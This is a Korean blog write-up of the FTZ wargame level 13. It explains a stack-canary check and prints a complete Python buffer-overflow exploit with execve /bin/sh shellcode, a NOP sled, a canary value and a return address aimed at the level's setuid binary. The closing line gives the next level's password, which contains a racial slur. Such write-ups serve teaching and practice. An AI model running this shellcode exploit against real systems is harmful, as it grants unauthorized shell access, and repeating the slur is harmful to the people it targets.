Wargame/FTZ
[FTZ]level13
일찍일어난 새는 역시나 피곤하네요.
조금 더 졸리기 전에 시작해 볼까요?
힌트를 보면
long형 타입의 i가 있고
i가 변경될 경우
프로그램을 종료시키네요!!
이 부분은 메모리 보호기법 중 하나로
Stack Guard라고 합니다.
스택 카나리를 메인함수 가장 위에 선언하여
카나리가 변조되면 종료를 하게 됩니다.
우회하는 방법은 카나리의 원래 값을 찾아서
덮어씌워야 합니다.
위에 빨간 박스
[ebp-12]의 위치가 canary의 위치네요!!
그리고 파란박스에서
[ebp+12]에서 [ebp-1048]로
복사하네요.
[ebp+12]는 argv이고,
[ebp-1048]은 buf배열의 시작주소겠네요.
c소스를 보니 1024바이트만큼 선언했으므로
나머지 24바이트는 dummy입니다.
strcpy([ebp-1048], argv);
main+66에 breakpoint를 걸고
인자길이를 버퍼사이즈와 비슷하게 넣고
실행해 보겠습니다.
확인해보니
0xbfffd720 주소가
buf의 시작주소네요.
그림을 그려볼까요?
이제 페이로드를 작성해볼까요?
NOP[500] + shellcode[25] + NOP[499] + dummy[12] + canary[4] + dummy[8] + SFP[4] + RET[4]
이와 같은 형식으로 만들어주면 되겠죠?
import os
import struct
p32 = lambda x:struct.pack('<L', x)
target = '/home/level13/attackme'
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\
xe3\x31\xd2\x52\x53\x89\xe1\xb0\x0b\xcd\x80'
canary = 0x1234567
ret_addr = 0xbfffd720
payload = '\x90'*500
payload += shellcode
payload += '\x90'*499
payload += '\x90'*12
payload += p32(canary)
payload += '\x90'*12
payload += p32(ret_addr)
pid = os.fork()
if pid == 0:
os.execv(target, (target, payload))
else:
os.waitpid(pid, 0)
exploit.py는 작성했습니다.
Level14 Password is "What that nigga want?".
'Wargame > FTZ' 카테고리의 다른 글
[FTZ]level15 (0) | 2019.09.08 |
---|---|
[FTZ]level14 (0) | 2019.09.08 |
[FTZ]level12 (0) | 2019.09.07 |
[FTZ]level11 (0) | 2019.09.07 |
[FTZ]level10 (0) | 2019.09.05 |
댓글